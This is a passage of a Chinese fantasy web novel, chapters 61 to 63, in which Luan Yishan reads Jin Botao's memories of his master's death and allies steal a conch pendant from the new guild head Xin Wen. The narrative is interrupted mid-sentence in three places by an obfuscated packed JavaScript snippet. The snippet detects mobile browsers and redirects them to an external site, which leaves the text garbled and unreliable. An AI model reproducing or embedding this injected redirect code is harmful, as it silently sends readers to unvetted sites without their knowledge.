栾易山将李闻棋的魂魄放出,两张一模一样的脸在烛火的照耀下,竟让金伯涛生出强烈的恍惚感,他的眼泪簌簌而下:“师父,是徒儿不孝,害你身后依然不得安宁。” 他俯身,额头重重磕在了地上,发出一声闷响,栾易山拎着他的后领,一把将人掰直了:“这里是我五柳山庄,不是你家灵堂,磕坏了我这儿的地砖,你下辈子都还不起。” 金伯涛泪流满面,栾易山一个头,两个大,现在是问也问不出,查也查不到,完全进入了一个死胡同。他松开这人,注视着李闻棋,脑海里快速闪过现在仅有的线索,淡淡地说道:“如果是我的话,我会怀疑,你师父的死,和你师祖脱不了关系,甚至他无法神魂归位,都极有可能,是你师祖的手笔。” 金伯涛傻了眼,栾易山眉头紧蹙:“你师父的遗躯,被宋澜偷盗至江心洲,并请高人浇筑石柱。但普通的石柱,不可能阻碍李见尘这么多年,令他也束手无策。而宋澜口中的那位高人,自始至终,都没有现身。” 61. 第 61 章 不同于听海崖,五柳山庄的地宫有着独属于北地的冷冽与萧瑟,呼吸之间,仿佛还能嗅到明山上那终年不化的冷雪气息。 金伯涛也不例外。 他甚至能感受到栾易山身上散发出来的强烈压迫感,远比这夜色沉重。 “人的记忆会发生错乱,可眼睛会替你记住一些你遗忘的细节。”栾易山忽然开口道,一字一句,都像在宣判他的刑期,金伯涛醒悟过来,这人是打算施术,破开自己记忆的阀门,勾取一些有用的信息。 金伯涛略微茫然,他抬眸望向站在眼前的师父,那张脸上充满了宁静之色,仿佛只是沉浸在美丽的梦境中,不愿醒来。 李闻棋不会知晓现在这尔虞我诈的混乱局面,更不会知晓在他走后,那些血淋淋的残酷争斗,他会永远存在于那个温柔祥和的海边,在过往岁月中言笑晏晏。 师父,若你在天有灵,知晓如今的一切,会怪我吗? 金伯涛难掩悲伤,哽咽着:“等真相大白之后,你能不能将师父还我?我想将他带回听海崖安葬。” 栾易山听了这话,照着他的后脑勺就是一巴掌:“那我是吃饱了撑的将你们师徒安置在这儿?退一万步讲,你们就算是在江心洲化成灰烬,都和我没关系。” 金伯涛被打疼了,也被打醒了,红着眼眶要给他磕头,栾易山又给拦了下来,还不忘讥讽两句:“别,我受不起,怕折寿。” “多谢您。” 金伯涛老老实实地坐好,垂着脑袋,等候他发落。 栾易山虽是气他不会说话,但也没有再计较,双手结印,一道灵光乍起,轻车熟路地将那些尘封的记忆勾了出来。 电闪雷鸣,大雨滂沱,数十年的雨夜之中,年幼的金伯涛因受到惊吓,前去寻找李闻棋,却在无意中撞见对方倒在一片血泊中。雷火降下,短暂地照亮了那漆黑的房屋。 李闻棋七窍流血,满身血污地朝他伸出手,挣扎着吐出最后的遗言:“跑……跑……” 栾易山蹙眉,李闻棋当时还能动?看他的死状,也符合毒发身亡时的表现,可是,为什么遗骸中没有任何中毒的迹象?难道,当真是自己才疏学浅? 金伯涛的记忆再次推移。 黎思之从屋内走了出来,小小的孩子开始逃命。铺天盖地的冷雨中,他撞到了一个人。金伯涛当时还小,眉眼刚好抵到对方腰侧,慌乱恐惧之中,他紧紧闭上双眼,可尽管如此,他还是看见了一个很具有标志性的东西。 一个海螺佩饰。 浅褐色的壳上打了蜡,光泽水润,漂亮且有质感,头尾各有几颗珍珠点缀,在漆黑的夜中,犹如璀璨的星子般闪烁。 栾易山暗暗记下这个细节,金伯涛的视线一晃,他已然逃到了听海崖地宫之内。 那个地方,和自己见到的差不多。 那口八角井上,悬空的金珠光辉灿烂,引导着年幼的弟子朝它奔去。金伯涛顾不得许多,忍着剧痛从锁链下边爬过去,再纵身一跃,跳进了那口深井中。 井下不知深浅。 金伯涛仿佛失去了所有力气,昏沉之后,便失去了意识。他对于这部分的记忆也同样晦暗,仿佛置身无边的黑暗里,待到黎明再至,周围已经是陌生的景象。 年幼的孩子,在一张破旧的木床上醒来,映入眼帘的,是一盏巴掌大的油灯,豆大的火苗只能照亮小半张床,光晕之外,仍是漆黑一片。 金伯涛似乎感到了寒意,缩在被窝里,裹紧被子,只露着一双警惕又可怜的眼睛。 李见尘没有现身,但金伯涛的回忆里全是他的声音。 那不知真情假意的嘘寒问暖,极具诱导性的复仇计划,一步一步,击垮了金伯涛本来就不多的理智。他心甘情愿地成为李见尘计划里的棋子,受其指挥,供其驱使。 栾易山眼神扫了一遍,没有多言,手一抬,便撤去了自己的术法。 金伯涛早已冷汗淋漓,弓着背坐在地上,像是要倒过去,栾易山问他:“林采荷,有没有一个海螺样式的腰佩?” 对方想了想,张了张嘴,似乎有点喘不上气:“没见过,师祖平日里会戴一些腰佩,但都是玉石金器之类。” “你掉进八角井之后,就一直在那里生活?” “我受了很重的伤,几乎离不开床榻,祖师爷会在我睡着的时候替我疗伤,等我能活动了,我也就离开了听海崖。” 金伯涛说着,似乎是怕这人不相信,便脱下上衣,露出伤痕累累的后背。密密麻麻的刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762419|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔早已结痂、脱落,生了新的皮肉,只是颜色深浅不一,看着尤为触目惊心。 栾易山凝神,两手抱胸,轻声道:“我问完了,准许你今晚在此陪你师父。” 言罢,转身大步离去。 金伯涛讶然,可再回神,整个地宫内早已不见那人身影,他又在一瞬间茫然起来,呆坐着,任由回忆将自己淹没。 栾易山回到住处,先是找来纸笔,记录下他得到的线索。 首先,李闻棋真正的死因有待商榷,他需要一个精通医理之人来帮他调查清楚,思来想去,也只有一个人有这个本事—— 孙雪华的小师弟,文恪。 “果然还是绕不开临渊吗?” 栾易山揉了揉眉心,继续梳理着。 其次,他得弄清楚那个海螺佩饰究竟属于谁,金伯涛是指望不上了,而宋家所有的知情人都已经葬入江中,唯一可能知道的,就是李见尘。不过李闻棋在他们这里,李见尘来到这里不过是时间的问题,栾易山并不担心,审讯一事,他自有办法。 再者,金伯涛掉下八角井后见到的一切。 虽然那盏油灯照亮的范围有限,但栾易山还是敏锐地捕捉到了一些隐藏的细节。 那张木床很矮,宽度很窄,目测应该是张小孩子的床,可听海崖的地宫,按照尤小帆的说法,实际上是李见尘的陵墓,怎么会有一张这样的小床?而且油灯摆放的位置紧贴着墙壁,隐约可见一些青苔,说明这地方十分阴暗潮湿,且金伯涛的回忆中,耳边始终有滴滴答答的水声,说明他躺着的地方,周围存在水源。 地宫内渗水?可有宝珠庇佑的地方,会如此潦草? 栾易山百思不得其解,将自己的分析尽数写下,寄往临渊。 薛闻笛没有再次寄信,他暂时也找不到那两个人,不过临渊总有办法,一脉相承的师兄弟总会联系上的。 现在就是等。 栾易山轻叹,透过窗户,凝视着那迢迢夜色,不知是临渊先行赶到,还是李见尘先杀上门来。 “啧,真麻烦。” 栾易山熄了灯,和衣躺下。 一个人影如轻盈的燕子,踏过院墙,落到其中一间屋顶上,紧接着,就隐入了黑暗之中。 62. 第 62 章 五柳山庄再次归于平静。 栾易山再次将金伯涛押回了禁闭室,并告诫他,勿要轻举妄动,对方只问了一个问题:“栾前辈,我师父的事情,您有几分把握?” “尽人事,听天命,你现在老实待着,就是最大的助力。” 栾易山没有给出明确的答复,言下之意,就是让金伯涛耐心等着,不该问的别问,不该说的别说。金伯涛能力尚浅,又身在囹圄,无所依靠,便没有梗着脖子和人叫板,又或许,从栾易山容许他与师父相见时,他的戒备心就已经少了许多。 “谢过前辈。”金伯涛深深鞠了一躬,栾易山虽然很不喜欢他,但这会儿也能感受到对方的尊敬,便难得安慰了几句:“你安心待在这里,说不定哪天,你师父能再次睁开双眼,你总不会希望他一醒来,就是孤家寡人了吧?” 金伯涛一愣,栾易山深深看了他一眼,微微颔首,就径直出去了,只听得后面又传来一声略显沉闷的碰撞声。栾易山扶额,看来等此事了结,他得给庄内的地板重新翻修一遍。 就这么风轻云淡地过了几日,阿音又想去逛市集,在庄内飘来飘去找尹晓棠。对方还在练功,不过这次并不是栾易山陪她,而是那个看上去并不起眼的谢照卿。 两个人在练习实战。 尹晓棠用的是竹弓竹箭,头端沾了些朱砂粉末,只要射中目标,就会留下痕迹。谢照卿开口,只要她射中一箭,就算她赢。可惜,论实战经验和个人修为,尹晓棠与谢照卿差距不小,因此始终处于下风。 阿音观望了一会儿,对左手持刀的谢照卿产生了浓厚的兴趣。那人仍是裹着一件打满补丁的披风,遮住大半个身子,可北地已经入夏,不至于那么冷,他左手持刀,动作也略显迟钝,配不上如此锋利的冷铁。 这人不是左撇子。 阿音很笃定,可又不理解,为什么不是左撇子,却用左手持刀呢?是为了给晓棠放水吗? 她心里念着,就不由自主朝那边走了两步,就听谢照卿幽幽地说道:“离我远点儿,小心误伤。” 阿音假装没听见,绕着他飘来飘去,谢照卿刀锋一转,一道冷冽的寒光擦着她的发梢劈下,震开了飞来的箭矢。阿音愣了愣,站在原地不动了,尹晓棠着急忙慌跑了过来:“对不起,我射偏了,你没事吧,阿音姑娘?” 听到这熟悉的语调,阿音才回过神来,点点头,写着:“我没事。” 就是这个人,看上去很不好惹。 阿音有点怂,谢照卿瞥了她一眼,嘴唇微张,似乎要说些什么,但眼神一转,又咽了回去。尹晓棠刚刚那一箭其实位置很好,有很大几率能赢,可是阿音这么一捣乱,刚好挡在了箭矢和他中间,谢照卿就不得不提前出招,打落那根羽箭,以免误伤。 真不知道这个小丫头在想些什么。 谢照卿为尹晓棠感到惋惜,不过既然对方认下这一箭,他也不好再多言,便收拾收拾,决定打道回府。可阿音却拦下他,比划了半天,尹晓棠笑着:“谢前辈,阿音说希望你也能和我们一起去市集。” “嗯。” 谢照卿一点没带犹豫,与其待在这儿,随时准备被栾易山推出去当苦力,不如直接出门,给两个小姑娘当保镖。 尹晓棠一听这话,喜出望外,高高兴兴挽上阿音就出发了。谢照卿慢悠悠地跟在后头,长刀佩在腰间,用披风遮得严严实实。 今日的市集格外热闹,尤其是路口处的告示牌,几乎围满了来往的商客。尹晓棠好奇地掂了掂脚,问自己前边的一位大哥:“劳驾,敢问今天是有什么大事吗?” “今天市集的话事人推选出来了,夜里戌时会在红萼楼公布他的身份,各家也将组建成为新的商会,设宴结盟。” “哦哦。” 尹晓棠倒不意外,她出门之前就听说了这件事,如今尘埃落定,对这个市集的发展也有好处。 只不过,她有些好奇那位新的话事人的身份,能让那群南来北往的商客都表示认同,一定有几分本事吧? 尹晓棠沉吟片刻,又问:“普通人能进去吗?” 前边那位大哥忍不住笑了:“小妹妹你说什么呢?这么大场面,哪轮得到我们去?红萼楼平时给点钱还能进,但今天一早就被包了场,苍蝇都飞不进去。” “那可惜了。”尹晓棠扼腕,回头一看阿音和谢照卿,二人不约而同地点了点头。 英雄所见略同。 尹晓棠竖起大拇指。 他们在市集里闲逛。 进了夏天,北地也是一派草木青青,欣欣向荣之色,远处的明山上,终年不化的皑皑白雪反射出明丽的日光,俯瞰着这热闹的人间。红萼楼位于市集东南角,是一处繁华的酒楼,几乎每一个来到此地的商旅都会在此休息,一是酒菜好吃,二是玩乐众多。 尹晓棠没去过,因为那里的价格对她来说,根本负担不起。 不过特殊时期,也有特殊办法。 入了夜,尹晓棠领着阿音、谢照卿,从一个狭窄的巷子口钻了进去,踩着砖瓦,翻过红萼楼后院的墙角,躲在了巡逻守卫的视线盲区。 “给,这是隐踪符。”她一个人给了一个,叮嘱道,“戴上它,普通人是不会发现我们的,但那些商旅雇佣的护卫队里,也许会有能人异士,所以我们还是要小心,安全为上。” 阿音和谢照卿都没有异议。 他们各自隐去行踪,跟着尹晓棠爬上了红萼楼的屋顶,再悄悄翻下,从窗户处钻了进去,藏入人群中。 宴会即将开始,许多与会的商家已经入了座,那些陌生的面孔上都挂着和善又略显虚伪的笑容,或是谈笑风生,或是端庄轻语,或是沉默静坐。 尹晓棠三人找了个无人的角落,静悄悄坐下,等着这次的重头戏开场。 锣鼓三声,号角长鸣,位于中央的高台拉开帷幕,红萼楼的掌柜先登了台,恭维了一番在座的客商,言辞之中,还不忘推销一下自己的酒楼,接着,就是今天的主角,新任的商会会长。 “辛问?” 尹晓棠在心里默念着,注视着台上那个看上去和栾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762420|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易山差不多大的青年,不免有些奇怪,这么年轻,就当上商会会长了吗?那些走南闯北的商客,可不是明面上的善茬,为了各自的利益,争个头破血流都是家常便饭,没个阅历手段,根本镇不住场子。 难道,他当真有什么过人之处? 可尹晓棠长居北地,若真有这等人才,不可能现在才知道。 小姑娘不解,余光一瞥,就被那人腰上的佩饰吸引了视线。 那是个海螺样式的腰佩,点缀的珍珠在烛光的掩映下闪闪发光,光彩斐然。 北地群山环绕,降水都偏少,更何况是海货?尹晓棠从小到大,从没有见过这样的佩饰。 这个人,是海边来的? 从那么遥远的地方过来,坐上这明山城商会会长的交椅,怎么看都有点蹊跷。 尹晓棠不语,一旁的阿音更是凝重。 “辛问。” 阿音不记得这个名字,但她记得,李见尘曾经告诉她,有这个海螺腰佩的人,是他一辈子的仇人。 杀了他,给主人报仇。 阿音陡生杀意,身侧的谢照卿察觉到了端倪,刀柄一偏,压在了她的腕上。 一道陌生的视线朝他们投了过来。 尹晓棠神色一凛,高台之上,长明灯下,那位新任会长似乎瞥了他们一眼。可下一瞬间,笙歌四起,觥筹交错,人影憧憧,那道隐约的视线也如水上浮萍,变得飘忽不定起来。 尹晓棠没有办法确定辛问是在看他们,对方很快就走下了高台,走入那鱼龙混杂的名利场中。 阿音也动了动,谢照卿低声问:“你想做什么?” 常年刀尖舔血的他敏锐地察觉到了不对劲。 可阿音只是慢慢写下:“腿坐麻了,想走一走。” 尹晓棠也很赞同,他们这个角落太偏僻,看不见这次宴会的全貌,尤其是那个辛问,实在太令她好奇了。 得到了尹晓棠的赞成,阿音便不再理会谢照卿,脚步轻点,化作一缕夜风,混入了人群中。尹晓棠心一紧,生怕她被人发现,便跳到了那个高台上,再从另一边翻下去,溜到了辛问身后的一根柱子后头。她再抬头,发现谢照卿还坐在原地,岿然不动。 尹晓棠比划着,示意他也下来,可对方视若罔闻,并不予理会。 凑热闹小队就这样轻而易举地分崩离析了。 尹晓棠没有办法,只好定下心神,暗中观察。 可是阿音去哪儿了呢? 尹晓棠发现自己根本看不见对方的影子。隐踪符是她亲手画的,因此她作为施术者,按理可以看见阿音和谢照卿,但这会儿,却又完全没了影儿。 尹晓棠莫名想起在江心洲的那个夜晚,突然在她耳边转向的风。 原来那个时候,她就撞见过阿音姑娘,对方的术法并不在自己之下。 尹晓棠轻轻咬了咬唇,这可怎么办?虽说这个辛问身上疑点重重,可阿音姑娘若是被人发现,必定会引起骚动。 她凝视着那位高谈阔论的新任会长,陷入沉思。 63. 第 63 章 辛问今日的衣着非常庄重,织金绣纹在烛火掩映下泛着一层淡淡的光芒,更衬得他气质非凡。到场的商客们陆陆续续起身向他敬酒,喧嚣声中,隐约可以听到些许恭维之语,辛问一直在笑,体面、客套,腰间的海螺配饰随着他转身的动作轻轻摇晃,珠光莹莹,十分惹眼。 阿音化作一粒飘落的尘埃,落在了那颗珍珠上。 她没有在辛问身上感知到一丝一毫的灵力,只需一击,就能毙命。 “阿音。” 一道熟悉的声音传到了她的耳朵里。 阿音一怔:“主人?” 她四下张望,却没有看到李见尘的身影。 “阿音,现在不是动手的好时机,再等等。” “主人,您也在这儿吗?” “子时,我们在五柳山庄会合,你设法将那个海螺腰佩带回来给我,切记,莫要打草惊蛇。” “是。” 阿音很快撤离,回到了尹晓棠身边,对方还不知道在这短短的时间里发生了什么,只是关切地低声问道:“阿音姑娘,你去哪儿了?没事吧?” 阿音摇摇头,拉起她的手,在掌心写下:“那个海螺腰佩,有古怪。” “确实。”尹晓棠也认可这一点,阿音便趁机提出要深入调查,可尹晓棠却认为事有蹊跷,想和栾易山从长计议。两个人产生了意见分歧,但碍于场合,没有争辩,而是各自静坐,保持沉默。 尹晓棠再抬眼,发觉谢照卿不知何时离开了原来的角落,紧接着,她就闻到了一股淡淡的香火味,只是这宴会正进行得如火如荼,熏香弥漫,歌舞升平,因此这点奇怪的味道并不引人注目。 尹晓棠不解,回过神时,谢照卿已经坐在了她身边。 “谢前辈,你这是在?” “栾易山说,先将那个海螺腰佩带回去给他。” 谢照卿瞥了眼阿音,低声道:“辛问暂时还不能死,至少不能在众目睽睽之下殒命。” 阿音猛地攥紧双手,一拳打在了他肩上,可半个拳头落了空,她一怔,这才惊觉谢照卿那被披风裹住的半边身子,没有右手。 “你……” “我混了点特制的迷药在灯油中,那迷药会放大他们内心的欲念,到时候,我们只需趁乱行事。” 尹晓棠蹙眉:“可是栾前辈怎么会知道——” 她说着,恍然大悟,指了指谢照卿:“谢前辈,你——” 谢照卿没有解释,眼神凌厉,如鹰隼巡视着自己的领地,尹晓棠只听见一声脆响,不知是谁的酒碗砸在了地上,碎了一地的瓷片。不少人朝那里看去,辛问笑着:“杨掌柜是醉了?不如早些回去休息,免得劳力伤神。” 那位杨掌柜醉醺醺地站起身,满脸酡红:“真是对不住,今日我确实不胜酒力,让大家见笑了。” “杨掌柜客气了,来人,送杨掌柜回去休息。” 辛问话音未落,那位杨掌柜就摇摇晃晃走了两步,冲着在场众人作揖,醉态滑稽,惹来不少人哄笑,他也跟着笑:“今日,有幸一睹辛会长风采,我心甚慰。辛会长年纪轻轻,就有如此作为,实为我辈楷模,杨某在此恭祝您扶摇直上,平步青云。” “多谢杨掌柜。” 辛问颔首,十分客气,杨庆丰潸然泪下:“今日之盛事,我会回禀老庄主,以慰他在天之灵。” 此话一出,满座哗然。 不知是谁嚷道:“老庄主?不会是五柳山庄明逸,明老庄主吧?他去世多年,五柳山庄式微,无力保护商道,导致昔日辉煌的明山城偷盗频发,匪徒四起,今日我等汇聚于此,正是为了重振商道,力争和平,杨掌柜当着辛会长的面,当着众多同盟的面,缅怀故主,不觉得十分不妥吗?” 话音未落,当下就有人反驳:“老庄主为明山城呕心沥血,诸位能有此荣华富贵,哪个不曾仰赖过他老人家?如今老庄主仙逝,就要捧高踩低,讨好新主了吗?简直卑鄙!” 名利场上风云异变,众人争执不休,谢照卿单手施术,无形中强化了那迷药的功效,原本只是唇枪舌剑,很快就演化为了斗殴,辛问在一片混乱中不断被推搡,眼见就要控制不住局势,他当即摔碎了手中酒杯,外围的护卫一拥而上,试图将那些酒鬼分隔开。尹晓棠和阿音几乎在同一时间冲了出去,只不过,阿音被谢照卿拦了一把,慢了一步,那个海螺腰佩最终还是落到了尹晓棠手里。 “走。” 尹晓棠手一招,就先冲出了大门,只听背后传来一声高喊:“有贼!给我拦住她!” 她一惊,辛问看穿了她的隐踪符? 尹晓棠眼前闪过数道人影,寒光劈下,她后撤一步,那冷硬的刀锋瞬间斩断了她腕上的灵符,碎片纷飞,那刀锋又直逼她而来,刹那间,又一把长刀从她侧方劈了过来,冷锋碰撞,火光四溅,谢照卿推了尹晓棠一把:“我断后,你且去!” “你小心!” 尹晓棠握紧手中腰佩,遁入夜色而去,阿音紧随其后,跟紧了她。 谢照卿横刀立于街头,拦下那些虎视狼顾的黑衣人:“今日,谁都不能跨出这一步。” 月上中天,云影稀薄,终年覆雪的明山上吹来亘古不变的夜风,尹晓棠揣着那个烫手山芋,直冲进山庄院内,到处寻找着栾易山的身影。 “栾前辈?前辈?你在哪儿?” 这个时间,栾易山应该在他房里,可是现在却一点影子都看不见。 尹晓棠急得团团转,刚准备去禁闭室碰碰运气,就看见了熟悉的身影。 “前辈!” 对方淡淡地看了她一眼:“回来了?谢照卿呢?” 尹晓棠轻轻喘着气,将那个海螺腰佩交给他:“谢前辈让我先回来,把这个给你。” “嗯。”栾易山没有意外,手指隔空点了一下,阿音顺势显形,微低着头,双手背在身后,不知道要做什么。 栾易山压根儿没管她,只道:“长话短说。我从金伯涛那里得知,十几年前,李闻棋身亡那夜,他曾经撞见了一个腰间带着海螺佩饰的人,但他无法确定那人的身份。” “我本来是想等到李见尘前来,亲自问一问,但是今晚,却有了意外收获。” “谢照卿传音于我,他说你对辛问产生了杀意,而辛问身上,恰好有一个海螺腰佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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辛问蹙眉:“这件事,我并不知晓。至于这个海螺腰佩,是我从前外出经商时,偶然看见的,觉得好看,就买了下来,带在身上。” “何时买下的?” “我为何要回答这个问题?你又以何种立场来责问我?” “辛问,五柳山庄经营北地数百年,虽已是日薄西山,但你记着,我不死,你就不要妄想在这个地方兴风作浪。” 栾易山从袖中取出一个小小的卷轴,扔在了对方脚下:“数月前,我听闻明山城各路商家要组建新的商会联盟,并推选一位新任会长,从那时候起,我就在关注这件事的动向。你,是突然出现在北地的。” “一个初出茅庐的年轻人,却能够统领偌大的商会,着实令我好奇。” 栾易山一顿,似笑非笑:“所以,我私底下调查了你一番,发现辛问这个名字,最后一次出现,是在五年前的一支船队中,而那支船队在过海时,遇上大风暴,已经没有了任何音讯。” “那你,又是为何会出现在这里?”